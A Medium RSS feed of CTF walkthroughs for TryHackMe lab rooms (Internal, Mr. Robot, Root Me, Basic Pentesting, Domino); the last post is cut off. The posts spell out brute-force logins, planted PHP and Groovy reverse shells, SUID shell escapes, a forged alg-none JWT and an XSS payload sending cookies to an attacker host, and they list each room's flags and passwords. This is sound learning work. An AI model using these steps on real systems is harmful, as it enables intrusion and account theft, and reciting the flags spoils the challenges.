<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Omer David on Medium]]></title>
        <description><![CDATA[Stories by Omer David on Medium]]></description>
        <link>https://medium.com/@duvdeven?source=rss-7767ce5b37ba------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*dmbNkD5D-u45r44go_cf0g.png</url>
            <title>Stories by Omer David on Medium</title>
            <link>https://medium.com/@duvdeven?source=rss-7767ce5b37ba------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 21 Nov 2026 21:59:15 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@duvdeven/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[TryHackMe’s “Internal” CTF Walkthrough]]></title>
            <link>https://medium.com/@duvdeven/tryhackmes-internal-ctf-walkthrough-b1cdf419ee85?source=rss-7767ce5b37ba------2</link>
            <guid isPermaLink="false">https://medium.com/p/b1cdf419ee85</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Omer David]]></dc:creator>
            <pubDate>Tue, 27 Oct 2026 18:10:07 GMT</pubDate>
            <atom:updated>2026-10-27T18:10:07.916Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oG_2PvyNNQHQ6ZBkF2osdQ.jpeg" /><figcaption>Penetration Testing Challenge</figcaption></figure><p>I started by adding the target machine’s IP address to my /etc/hosts file, mapping it to the internal.thm domain per requested in scope allowances.</p><pre>nano /etc/hosts</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xw_E9RAoSUkJy3TIWOvXKg.png" /></figure><p>Then I scanned for open ports and versions of services running on those ports with nmap</p><pre>nmap -sS -sV [TARGET_IP]</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8fmKNkgdqxjmpC6VE2VokA.png" /><figcaption>Port 22, 80 are open</figcaption></figure><p>I user ffuf to enumerate subdirectories on the webserver</p><pre>ffuf -u http://[TARGET_IP]/FUZZ -u /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -fc 404</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/290/1*4Hl2qlQ8S0weJRInBBN8dg.png" /><figcaption>These were the directories found</figcaption></figure><p>From the blog webpage I got to a post written by user “admin”, with that username I performed a brute force attack using wpscan that allowed me to gain access to an administrator account.</p><pre>wpsacn --url http://internal.thm/blog -U admin -P /usr/share/wordlists/rockyou.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CDeXTTEg4RhvV4xHzVbUeA.png" /><figcaption>FOUND CREDENTIALS — U: admin ; P: my2boys</figcaption></figure><p>Once I was logged in I planted <a href="https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php">Pentestmonkey’s PHP reverse shell</a> in the archive.php page, I then set up a netcat listener on port 4444 and got a shell as www-data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JISK_HgrecLjNip_ZAlXGg.png" /></figure><pre>VVV NETCAT LISTENER VVV<br>nc -lvnp 4444</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4Bu59Jtc6TZVBsukKegZbA.png" /></figure><p>I was able to move horizontally to a user named “aubreanna” by finding the password written in plain text inside the /opt folder.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1PhueQMPK5zWEq_rJFW4Yw.png" /><figcaption>FOUND CREDENTIALS- U: aubreanna ; P: bubb13guM!@#123</figcaption></figure><p>Once logged in I obtained the first flag that was located in the user’s home directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/690/1*QSFjNm_VhxHcjN9VcMaVvA.png" /><figcaption>FLAG: <strong>THM{int3rna1_fl4g_1}</strong></figcaption></figure><p>The jenkins.txt file exposed the following:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PQmBn6sLZMeHm5B7aXW-_A.png" /></figure><p>So I used SSH local port forwarding to access the internal Jenkins web interface from my Kali machine.</p><pre>ssh -L 9000:172.17.0.2:8080 aubreanna@internal.thm</pre><p>Once the SSH tunnel was set I was able to brute force the Jenkins login portal via hydra with the username “admin”.</p><pre>hydra -l admin -P /usr/share/wordlists/rockyou.txt -s 9000 localhost http-post-form &quot;/j_acegi_security_check:_username=^USER^&amp;j_password=^PASS^&amp;Submit=Sign+in:Invalid username or password&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Jqi3ApAcAUIgdBK-8V4Urg.png" /><figcaption>FOUND CREDENTIALS — U: admin ; P: spongebob</figcaption></figure><p>Once I logged into Jenkins I used the script console under “Manage Jenkins” to execute a <a href="https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76">reverse shell written in Groovy</a> (Credit to frohoff)</p><p>(note: make sure to change “host” to your ip, and the “port” to the port you’re listening on as well as change the “cmd” parameter to run “/bin/sh”)</p><p>I set up a listener using netcat to catch that reverse shell</p><pre>nc -lvnp 9009</pre><p>Then once I pressed ‘run’ I had a reverse shell as user ‘jenkins’</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lN_sVggNoCaVZhZx0JbL2Q.png" /></figure><p>In the /opt directory, as Jenkins I found a note.txt file containing the password for root:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TV6SYIYlen0NmM2K-lE4Aw.png" /><figcaption>FOUND CREDENTIALS- U: root ; P: tr0ub13guM!@#123</figcaption></figure><p>Once logged in I was able to obtain the last flag located at the home folder of root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*ldZnZ0SwaIxNJLqYe3EouQ.png" /><figcaption>FLAG:<strong> THM{d0ck3r_d3str0y3r}</strong></figcaption></figure><p><strong>Conclusion</strong></p><p>In this CTF, we began by enumerating the target web server and discovering a WordPress blog, which allowed us to brute-force the administrator credentials and gain our initial reverse shell by planting a payload in the site’s PHP theme files.</p><p>From there, we moved laterally to the user ‘aubreanna’ after finding their plaintext password in the /opt directory, securing our first flag.</p><p>We then discovered an internal Jenkins service, established an SSH tunnel to access its web interface, and successfully brute-forced the login to execute a Groovy reverse shell via the Script Console. Finally, we achieved root privileges by uncovering a hidden note with the root password, allowing us to capture the final flag.</p><p>I learned a lot from this CTF, I found it very challenging and fun — I hope you guys enjoyed it as well, thank you so much for reading this far!</p><p>P.S If you have any requests for any walkthroughs please feel free drop them in the comments! :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b1cdf419ee85" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe’s “Mr. Robot” CTF Walkthrough]]></title>
            <link>https://medium.com/@duvdeven/tryhackmes-mr-robot-ctf-walkthrough-c33c8fa5d99e?source=rss-7767ce5b37ba------2</link>
            <guid isPermaLink="false">https://medium.com/p/c33c8fa5d99e</guid>
            <category><![CDATA[mr-robot]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Omer David]]></dc:creator>
            <pubDate>Mon, 26 Oct 2026 12:40:10 GMT</pubDate>
            <atom:updated>2026-10-26T12:40:10.206Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/268/1*7WkKMDu4H790KrHW1ula-Q.jpeg" /><figcaption>Based on the Mr. Robot show, can you root this box?</figcaption></figure><p>Started by enumerating open ports on target machine using nmap.</p><pre>nmap -sS -sV [TARGET_IP]</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hKlKTZeny_EOxithXPmJ9g.png" /><figcaption>OPEN PORTS: 80, 22, 443</figcaption></figure><p>I looked around the webpage served on port 80 and looked around — the robots.txt page revealed the location of the first key.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/950/1*uhbEFc1CVvVGppRjjn1OKg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SeFcky0VrYDpUg9qowmeMg.png" /><figcaption><strong>Q</strong>: What is <strong>key 1?</strong> <strong>A</strong>: <strong>073403c8a58a1f80d943455fb30724b9</strong></figcaption></figure><p>The fsocity.dic presented a dictionary that from my understanding was the same dictionary copied and pasted 75 times. I saved this dictionary for future potential wordlist attacks. (DIDN’T USE THIS)</p><p>I ran ffuf for directory enumeration.</p><pre>ffuf -u http://[TARGET_IP]/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -fc 404</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/272/1*_FrwtmMb_X5A1SAwnX365A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/292/1*YLxTgPuUSur32dxtkmK6Eg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/292/1*8Jzbk7NuGhaC92VztjAK6Q.png" /><figcaption>These were the results.</figcaption></figure><p>When inspecting those directories I saw a message in /license, it read the following:</p><p>“what you do just pull code from Rapid9 or some s@#% since when did you become a script kitty? do you want a password or something? ZWxsaW90OkVSMjgtMDY1Mgo=”</p><p>Using <a href="https://gchq.github.io/CyberChef/">CyberChef</a>’s magic I was able to decode this base64 encoded string:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DZ08nGOT3v0KEeXa4tNpOw.png" /></figure><p>I was able to log in with these credentials in the /wp-login page as elliot, an administrator on the page.</p><p>As an administrator I could now run PHP command via Appearance -&gt; Editor, I placed <a href="https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php">Pentestmoney’s PHP reverse shell</a> inside “author-bio.php” and setup a netcat listener to catch that shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*etRpjW6AmVCNGul3AIhRwg.png" /><figcaption>Planting PHP reverse shell in author-bio.php</figcaption></figure><pre>VVV SETTING UP NETCAT LISTENER ON PORT 4444 TO CATCH REVERSE SHELL VVV<br>nc -lvnp 4444</pre><p>Visiting <a href="http://[TARGET_IP]/wp-content/themes/twentyfifteen/author-bio.php">http://[TARGET_IP]/wp-content/themes/twentyfifteen/author-bio.php</a> got me a reverse shell as “daemon”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wmndq1B5Ik6mVtcXeR_iRA.png" /></figure><p>In the home folder of the user “robot” I found a file containing an MD5 hashed password and the second key which I didn’t have permissions to read.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nykbEL0pwSe_OzlmMZMm2g.png" /></figure><p>I create a text file named “hashed_pass.txt” that contained this raw-md5 hashed password and used John The Ripper (john)and the rockyou.txt file to crack the hashed password.</p><pre>john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hashed_pass.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hah63Gg5g6ig25DaT8zSPw.png" /><figcaption>The password is “abcdefghijklmnopqrstuvwxyz”</figcaption></figure><p>I was now able to SSH into the machine as user “robot” and retrieve the second key.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/652/1*urqPNlJPS-NjMjij0HGVkQ.png" /><figcaption><strong>Q</strong>: What is <strong>key 2? A</strong>: <strong>822c73956184f694993bede3eb39f959</strong></figcaption></figure><p>I escalated my privileges to root by abusing an nmap binary with SUID root permissions.</p><p>I was searching for any binary files with SUID root permissions with the find command.</p><pre>find / -type f -user root -perm -4000 2&gt;/dev/null</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TwBDroGC4UtMazd6pzHIkg.png" /></figure><p>I notice the nmap bin had SUID root permissions and used the GTFOBins payload to get a shell as root</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tJLQFK-fMgLZo2Eb2QkgKA.png" /><figcaption>PAYLOAD: nmap — interactive !/bin/sh</figcaption></figure><p>Once I had my shell I used find once again to find the last key named “key-3-of-3.txt”</p><pre>find / -type f -name &quot;key-3-of-3.txt&quot; 2&gt;/dev/null</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*X3JTxxRxXm5npNf85ydTZw.png" /><figcaption><strong>Q</strong>: <strong>What is key 3? A</strong>: <strong>04787ddef27c3dee1ee161b21670b4e4</strong></figcaption></figure><p><strong>Conclusion</strong></p><p>As the name of this CTF suggested, this room was heavily inspired by the show and tested our ability to systematically break into a target.</p><p>We started by enumerating the web server, which led us to our first key inside robots.txt and a hidden base64 encoded string in the /license directory.</p><p>By decoding those credentials, we were able to log into WordPress as an administrator, inject a PHP reverse shell into a theme file, and gain our initial foothold as the daemon user.</p><p>Once inside the machine, we discovered an MD5 hashed password, cracked it using John the Ripper to move laterally to the robot user, and retrieved the second key.</p><p>Finally, we escalated our privileges to root by finding an nmap binary with SUID root permissions and exploiting its interactive mode to spawn a root shell and claim the final key.</p><p>Thank you so much for reading this far, this was a highly enjoyable room for me to practice hash cracking, WordPress exploitation, and abusing SUID binaries for privilege escalation.</p><p>Also I want to thank <a href="https://twitter.com/@sho_luv">Leon Johnson</a> for creating this amazing room based on the amazing Mr. Robot show that I LOVE!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c33c8fa5d99e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe’s “Root Me” CTF Walkthrough]]></title>
            <link>https://medium.com/@duvdeven/tryhackmes-root-me-ctf-walkthrough-0f2ad4a147e1?source=rss-7767ce5b37ba------2</link>
            <guid isPermaLink="false">https://medium.com/p/0f2ad4a147e1</guid>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Omer David]]></dc:creator>
            <pubDate>Sun, 25 Oct 2026 16:47:42 GMT</pubDate>
            <atom:updated>2026-10-25T16:47:42.457Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*PoznIQhCnwdOXFU3NEPSqA.png" /><figcaption>A ctf for beginners, can you root me?</figcaption></figure><p>Started by scanning for open ports on target machine for the recon part.</p><pre>nmap -sS -sV [TARGET_IP]</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6o-I47Q--ykM_T0FEKabMQ.png" /></figure><pre><strong>Q</strong>: Scan the machine, <strong>how many ports are open</strong>?<br><strong>A</strong>: <strong>2</strong><br><br><strong>Q</strong>: What <strong>version of Apache</strong> is running?<br><strong>A</strong>: <strong>2.4.41</strong><br><br><strong>Q</strong>: What <strong>service</strong> is running <strong>on port 22</strong>?<br><strong>A</strong>: <strong>SSH</strong></pre><p>Then I moved on to finding directories on the web server using the GoBuster tool and found the hidden directories /panel/ and uploads</p><pre>gobuster dir -u http://[TARGET_IP] -w /usr/share/wordlists/dirb/common.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Erzmuo-v57nORX8z5hkNEQ.png" /><figcaption><strong>Q</strong>: What is the <strong>hidden directory?</strong>; <strong>A</strong>: <strong>/panel/</strong></figcaption></figure><p>In /panel I found an upload file function, I used the reverse shell that is pre installed on kali at /usr/share/webshells/php-rev-shell.php</p><p>I wasn’t able to upload the file with a .php extension but I was able to upload the payload with a .phtml extension.</p><pre>//1. COPY THE REV SHELL SO YOU CAN MAKE CHANGES<br>cp /usr/share/webshells/php-rev-shell.php ~/php-rev-shell.phtml <br>//2. CHANGE DEFAULT IP AND PORT TO YOUR IP AND LISTENING PORT (VIEW IMG)<br>nano ~/php-rev-shell.phtml</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/846/1*-qR5duvmI8cawuG1K567SA.png" /></figure><p>The payload was now uploaded and was ready to be executed, all that was left was to set up a listener via netcat on my machine to be ready to receive the reverse shell once I click the payload on the /uploads page.</p><pre>nc -lvnp [YOUR_LISTENING_PORT]</pre><p>I now had a reverse shell on the machine as www-data</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UJJHF_RQLJmAbeSHGpubeg.png" /></figure><p>I used the following bash command to find “user.txt” — the file that held the flag.</p><pre>find / -type f -name &quot;user.txt&quot; 2&gt;/dev/null</pre><p>This command basically looks for a file named “user.txt” in the entire file system and discards mismatches (errors), leaving only the filtered location of user.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/874/1*Dfo2E2I0hxZGe_Oy7wnJBg.png" /><figcaption><strong>THM{y0u_g0t_a_sh3ll}</strong> is the flag.</figcaption></figure><p>I used the following bash command to find files owned by root that were misconfigured with SUID, finding a file that has the ability to read and write with misconfigured SUID was the key to getting a shell as root here.</p><pre>find / -type f -perm -4000 -user root 2&gt;/dev/null</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*-cw79xZsgU0UFzPC8TmZag.png" /><figcaption><strong>Q</strong>: Search for files with SUID permission, <strong>which file is weird?</strong> <strong>A</strong>: <strong>/usr/bin/python</strong></figcaption></figure><p>I used <a href="https://gtfobins.org/gtfobins/python/#shell">GTFOBins</a> to break out of the python context and get a shell as root</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b6YL3cf9Lx0WGjCnbs1EVg.png" /></figure><pre>python -c &#39;import os; os.execl(&quot;/bin/sh&quot;, &quot;sh&quot;)&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yBvDUbGVGgJj3w2o-rqVQg.png" /><figcaption>root shell obtained</figcaption></figure><p>I ran the following bash command to find the “root.txt” file and its contents (last flag).</p><pre>find / type -f -name &quot;root.txt&quot; 2&gt;/dev/null</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/866/1*FRcvr_8uCMrZYckMVmvMgQ.png" /><figcaption><strong>THM{pr1v1l3g3_3sc4l4t10n} </strong>is the flag.</figcaption></figure><p><strong>Conclusion</strong></p><p>As the name of this CTF suggested, this room was all about getting back to the basics and working our way up to root the machine.</p><p>We started with scanning the target for open ports and enumerating the web server’s directories, which revealed a hidden panel for file uploads.</p><p>By bypassing the upload filter with a .phtml extension, we were able to execute a PHP reverse shell payload and catch it with a netcat listener to gain our initial foothold on the system as www-data.</p><p>With this access, we were able to locate and read our first flag by using the find command to search the file system.</p><p>We were then able to escalate our privileges to root and get our last flag by searching for files with SUID permissions, identifying an unusual Python binary, and exploiting it using a command from GTFOBins.</p><p>Thank you so much for reading this far, this was a highly instructive room for me to practice fundamental web vulnerabilities, directory enumeration, and Linux privilege escalation techniques — hope you enjoyed too!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0f2ad4a147e1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe’s “Basic Pentesting” CTF Walkthrough]]></title>
            <link>https://medium.com/@duvdeven/tryhackmes-basic-pentesting-ctf-walkthrough-ead9e95d988b?source=rss-7767ce5b37ba------2</link>
            <guid isPermaLink="false">https://medium.com/p/ead9e95d988b</guid>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Omer David]]></dc:creator>
            <pubDate>Fri, 23 Oct 2026 16:06:51 GMT</pubDate>
            <atom:updated>2026-10-23T16:06:51.867Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/250/1*1SkYGPNJIU6Niewh74OQpw.png" /><figcaption>This is a machine that allows you to practice web app hacking and privilege escalation</figcaption></figure><p>(PLEASE NOTE — I did this walkthrough in multiple takes so the target ip changed throughout it. I used [TARGET_IP] to keep it simple, enjoy!)</p><p>Started by scanning the target IP’s open ports and serviced running on those open ports.</p><pre>nmap -sV -sS [TARGET_IP]</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*klwxgPrzHeSdeXfeH5lsKw.png" /></figure><p>Performed directory enumeration using FFUF</p><p>(used the generic ‘common.txt’ wordlist from the dirb directory, filtered all 404 not found codes)</p><pre>ffuf -u http://[TARGET_IP]/FUZZ -w /usr/share/wordlists/dirb/common.txt -fc 404</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/270/1*0MKlecLYNC8_WQxpvOlPRQ.png" /><figcaption><strong>Q</strong>: What is the name of the <strong>hidden directory on the web server </strong>(enter name without /)? <strong>A</strong>: <strong>development</strong></figcaption></figure><p>In the development/ directory there were two text files — j.txt and dev.txt, here are their contents:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WMt-B2YxcAXHJhJjIaz8Ew.png" /><figcaption>j.txt hints: user ‘j’ has a weak password.</figcaption></figure><p>Used enum4linux to enumerate usernames on the SMB service running on port 445</p><pre>enum4linux -U [TARGET_IP]</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jq7zNraQHcImC4dKu44yfw.png" /><figcaption>FOUND USERNAMES: administrator, guest, krbtgt…</figcaption></figure><p>Used netexec to find a password for the user ‘administrator’ with brute-force.</p><pre>netexec smb [TARGET_IP] -u administrator -p /usr/share/wordlists/rockyou.txt --ignore-pw-decoding</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D2MslOBCyRuxTcnuOE9t8w.png" /><figcaption>U: administrator; P: 123456</figcaption></figure><p>Used SMBClient to list all sharenames user “administrator” is allowed to see.</p><pre>smbclient -L //[TARGET_IP] -U administrator</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cMahzWfbwtwubJAlYqnrAA.png" /><figcaption>Found “Anonymous” directory.</figcaption></figure><p>I then used the directory and creds found to login.</p><pre>smbclient //[target_ip]/Anonymous -U administrator</pre><p>Found a staff.txt file that revealed that the user ‘J’ with the weak password is named ‘Jan’.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FA8ru9_i7OCzta54CKA0dw.png" /><figcaption><strong>Q</strong>: What is the <strong>username?</strong> <strong>A</strong>: <strong>jan</strong></figcaption></figure><p>I was able to find jan’s ssh password by brute forcing with hydra</p><pre>hydra -l jan -P /usr/share/wordlists/rockyou.txt ssh://[TARGET_IP]</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*befcRg7Jz6KVopJnWFY-NA.png" /><figcaption><strong>Q</strong>: What is the <strong>password?</strong> <strong>A</strong>: <strong>armando</strong></figcaption></figure><p>I accessed the server with SSH and the creds found.</p><pre><strong>Q</strong>: <strong>What service do you use to access the server</strong><br>(answer in abbreviation in all caps)?<br><strong>A</strong>: <strong>SSH</strong></pre><pre>ssh jan@[TARGET_IP] </pre><p>When looking around I found a home directory for user “kay”.</p><pre><strong>Q</strong>: <strong>What is the name of the other user</strong> you found(all lower case)?<br><strong>A</strong>: <strong>kay</strong></pre><p>ls -la exposed a particular .ssh folder that was interesting, when looking around it I found kay’s id_rsa which will allow me to login as kay.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qhqhPR5RQ3oolo7I1O7Itw.png" /></figure><p>I created a copy of kay’s id_rsa, when I tried accessing the service via SSH with it using the -i flag — I was prompted to insert a pass phrase I didnt have.</p><p>I used ssh2john to convert the id_rsa key to a hashed format, I then used john to reveal the passkey by cracking the hash.</p><pre>ssh2john id_rsa &gt; ssh_hash.txt<br>john --wordlist=/usr/share/wordlists/rockyou.txt ssh_hash.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wbaqd69iY4u0euA5XKg-_A.png" /><figcaption>PASSPHRASE: beeswax</figcaption></figure><p>I was then able to log in as kay.</p><pre>ssh -i id_rsa kay@[TARGET_IP]</pre><p>In kay’s home folder there was a file named “pass.bak”, and in it was the final flag — the final password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gXs8t0Lu0MrNWlvqeTgmJw.png" /></figure><pre><strong>Q</strong>: What is the <strong>final password</strong> you obtain?<br><strong>A</strong>: <strong>heresareallystrongpasswordthatfollowsthepasswordpolicy$$</strong></pre><p><strong>Conclusion</strong></p><p>As the title of this CTF suggested, this was a basic pentesting room, going over some fundamentals.</p><p>We started by scanning for open ports on the target machine with nmap and enumerating directories with FFUF. On the web server we found a hidden directory that exposed that one of the users had a weak password that would be easily cracked with brute force.</p><p>By enumerating the SMB service with enum4linux we were able to gather a list of valid usernames, this ultimately led to brute-forcing the administrator account with netexec and accessing an anonymous share to find the weak user’s real name.</p><p>With this information we were able to brute-force Jan’s SSH password with hydra and get an initial foothold on the server.</p><p>By inspecting the home directories we were able to move laterally by finding Kay’s encrypted private SSH key, this allowed for us to extract the hash with ssh2john and crack the passphrase with John the Ripper so we could log in and get the final password backup file.</p><p>Thank you so much for reading this far, while this room focused on the basics it was a great exercise for me in chaining together different enumeration tools and I had a lot of fun putting the full attack path together.</p><p>Also — thank you to the TryHackMe community for creating such solid beginner-friendly labs to practice on :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ead9e95d988b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe’s “Domino” CTF Walkthrough]]></title>
            <link>https://medium.com/@duvdeven/tryhackmes-domino-ctf-walkthrough-89d4f29d0127?source=rss-7767ce5b37ba------2</link>
            <guid isPermaLink="false">https://medium.com/p/89d4f29d0127</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Omer David]]></dc:creator>
            <pubDate>Thu, 04 Jun 2026 18:04:00 GMT</pubDate>
            <atom:updated>2026-06-04T18:04:00.526Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*osLD4N6AKSxE9gGXBV45vw.png" /><figcaption>Chain together vulnerabilities in a cascading attack, where every piece you find knocks over the next.</figcaption></figure><p>Started by scanning the target IP’s open ports.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GptUixvM8RUu-vZrB3fMDQ.png" /></figure><p>We found multiple directories with GoBuster directory enumeration</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eXSZ_wZEEXqyRIKW1ZeoLg.png" /></figure><p>After further investigating the website’s function I noticed that in the employee portal login, the usernames had a specific structure of “firstname.lastname”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/816/1*Gb6BDx2iJA4bh-W4aORjoQ.png" /></figure><p>I created a text file containing all possible usernames extracted from the “Our Team” page and tried password spraying with Hydra.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/748/1*E1KWkc6rqLkuEHLDMY0IoQ.png" /></figure><pre>hydra -vv -L /root/usernames.txt -P /usr/share/wordlists/SecLists/Passwords/xato-net-10-million-password-100000.txt [target_ip] http-post-form &quot;/index.php:username=^PASS^&amp;password=^PASS^:F=Invalid credentials&quot;</pre><p>Found password for multiple users</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*okEbp6pmoH4jVzRkQc1kQg.png" /></figure><p>When I logged in as sarah.johnson and viewed the “My Profile API” page I was able to exploit an IDOR vulnerability and get the first flag (THM{1d0r_h0r1z0nt4l_4cc3ss_fl4g1}) by changing the id parameter in the url to ‘1’.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*s2gaGq-nTEXKkHipLJ3yuw.png" /></figure><p>When exploring the web server’s functionality I noticed two things.</p><ol><li>JWT was used to authenticate users.</li><li>An “open support ticket” functionality was processing automatically input from user — this was suspicious.</li></ol><p>I was able to bypass authentication by encoding a JSON Web Token of my own with the alg set to none, this instructs the server to skip signature verification entirely.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6PXcLs8kMuXphJmQX7yYDA.png" /></figure><p>This allowed me to curl ‘/support/create.php’ and after reviewing the code I realized it was vulnerable to XSS.</p><pre>curl -H &#39;Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiIsImlhdCI6MTc4MDU2ODk5NywiZXhwIjoxNzgwNTcyNTk3fQ.&#39; http://[target_ip]/support/create.php</pre><p>With this XSS I was able to obtain laura.hayes (admin) “nexus_session” cookie by setting up a netcat listener on my attack box and injecting a python payload into the “Message” field on the support ticket</p><pre>V SETTING UP A NETCAT LISTENER V<br>nc -lvnp 8000<br><br>V THIS WAS THE PAYLOAD INJECTED V<br>&lt;script&gt;fetch(&#39;http://[attackbox_ip]/?c=&#39;+document.cookie)&lt;/script&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YNfwyUmnZa6nhUNwO2PxVQ.png" /></figure><p>I changed the value of nexus_session to the cookie obtained and was able to login as laura.hayes — the second 